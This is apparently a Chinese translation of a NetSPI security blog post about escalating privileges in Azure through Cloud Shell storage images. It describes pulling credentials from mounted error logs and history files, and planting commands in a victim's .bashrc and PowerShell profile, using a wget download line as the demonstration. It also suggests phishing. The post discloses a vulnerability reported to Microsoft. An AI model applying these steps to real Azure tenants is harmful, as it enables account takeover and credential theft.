通过Cloud Shell进行Azure提权

iso60001  356天前

22.jpg

前言

默认情况下,Azure订阅贡献者可以访问订阅中所有的存储帐户。而这些存储帐户包含Azure Cloud Shell存储文件(Linux的home目录),其中可能存在敏感信息。通过修改这些Cloud Shell文件,攻击者可以在其他用户的Cloud Shell会话中执行恶意命令,导致跨帐户的命令执行和权限提权。

介绍

Azure Cloud Shell(Bash或PowerShell)是一种管理Azure资源的便捷方法,但也是渗透测试中敏感数据泄露和权限提升的潜在“因素”。Azure Cloud Shell可帮助用户从“任何地方”管理Azure中的资源,这其中涉及shell.azure.comAzure移动应用,以及微软的终端应用

33.jpg

为了在任何时间和任何地点都保持一致的体验,Cloud Shell服务会将文件保存在你订阅的Azure存储帐户中。同时Cloud Shell也将和你选择的存储帐户相关联,实际文件位于该存储帐户的文件共享服务之中。如果你使用的存储帐户是由Cloud Shell默认自动生成的,那么它的前缀很可能是“cs”。

44.png

有关Azure Cloud Shell的更多信息,请查阅此文档(https://docs.microsoft.com/zh-cn/azure/cloud-shell/persisting-shell-storage)

如何处理Cloud Shell文件?

假设我们现在已掌控了一个他人的AzureAD帐户,有权对共享的Cloud Shell文件进行读写,通常我们也是订阅中的贡献者帐户。

重要提示:默认情况下,所有订阅贡献者帐户将对所有订阅存储帐户具有读/写访问权限,除非另有限制。

此时你应该能够下载Cloud Shell目录中的任何可用文件,包括acc_ACCT.img文件。如果同一存储帐户存在多个具有Cloud Shell实例的用户,则存储帐户中将有多个文件夹。作为攻击者,选择要攻击的帐户(john)并下载该帐户下的IMG文件。这个文件通常有5GB大小,可能需要下载一分钟。

55.png

这个IMG文件是一个EXT2文件系统,可以轻松地将文件系统挂载到Linux机器上。一旦成功挂载到你的Linux机器上,我们就开始着重关注两点。

信息泄漏

如果Cloud Shell已用于进行任何实际的操作(而不是偶然打开一次),那么操作该Shell的用户很可能在输入命令时犯了一些错误。如果这些错误确实在Azure PowerShell命令行上运行过,那么产生的错误日志将最终出现在IMG文件系统中的.Azure文件夹中。

新Az虚拟机的命令行操作特别容易受到上述漏洞的影响,因为新虚拟机本地管理员帐户的凭据可能会被记录下来。在本例中,我们尝试创建一个名称不兼容的VM。这就产生了一个错误,导致了密码被记录下来。

PS Azure:\> grep -b5 -a5 Password .Azure/ErrorRecords/New-AzVM_2019-10-18-T21-39-25-103.log
103341-  }
103349-},
103356-"osProfile": {
103375-  "computerName": "asdfghjkllkjhgfdasqweryuioasdgkjalsdfjksasdf",
103445-  "adminUsername": "netspi",
103478:  "adminPassword": "Cleartext?",
103515-  "windowsConfiguration": {}
103548-},
103555-"networkProfile": {
103579-  "networkInterfaces": [
103608-{

如果对Cloud Shell的IMG文件进行解析,或许可在.Azure/ErrorRecords文件中找到很多敏感信息。

此外,其他一些命令历史文件可能也有惊喜:

.bash_history

.local/share/powershell/PSReadLine/ConsoleHost_history.txt

跨账户命令执行

假设你攻陷了Azure订阅中的“Bob”帐户。他是订阅中的贡献者帐户,且与“Alice”共享订阅。而Alice是订阅的所有者,也是Azure tenant的全局管理员。Alice还是一个Cloud Shell高级用户,在Bob相关的订阅中有一个实例。

66.png

因为Bob是订阅的贡献者,因此他有权(默认情况下)下载任何Cloud Shell中的.IMG文件,包括Alice的acc_Alice.IMG。下载后,Bob将IMG文件装载到Linux系统(mount acc_alice.IMG/mnt/)中,并将需要运行的恶意命令附加到以下两个文件中:

.bashrc

./home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1

作为演示,我们尝试把MicroBurst下载到Cloud Shell:

$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> .bashrc
$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1

一旦完成,就卸载IMG,并将其上传回Azure存储帐户中。当你上载时,请确保选择“覆盖已存在的文件”。

上传完成后,Cloud Shell就已经准备好攻击了。当Alice启动的下一个Cloud Shell实例时,针对Alice帐户的攻击就会开始。

而在Azure Linux虚拟机中挂载共享文件可能会实现相同的效果。

Example

假设我们刚刚做好了攻击准备,在Cloud Shell启动时会输出“Hello World”(也是通过修改.bashrc和PowerShell配置文件来实现)。无论哪种Cloud Shell(Bash和PowerShell),我们的恶意命令都会运行。

77.png

88.png

可供你进行攻击的命令有很多,但我还是建议使用提权命令,将当前用户也设置为Azure tenant的全局管理员。

如果不确定目标可以访问哪些订阅,可以查看Cloud Shell目录中的.azure/azureProfile.json文件。

最后,如果你的目标迟迟没有使用Cloud Shell,那么一封特制的钓鱼邮件是个好选择。

99.png

这两个漏洞与2019年10月21日进行上报,经过一段时间的积极交流,微软于12月4日关闭了报告。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://blog.netspi.com/attacking-azure-cloud-shell/

最新评论

昵称
邮箱
提交评论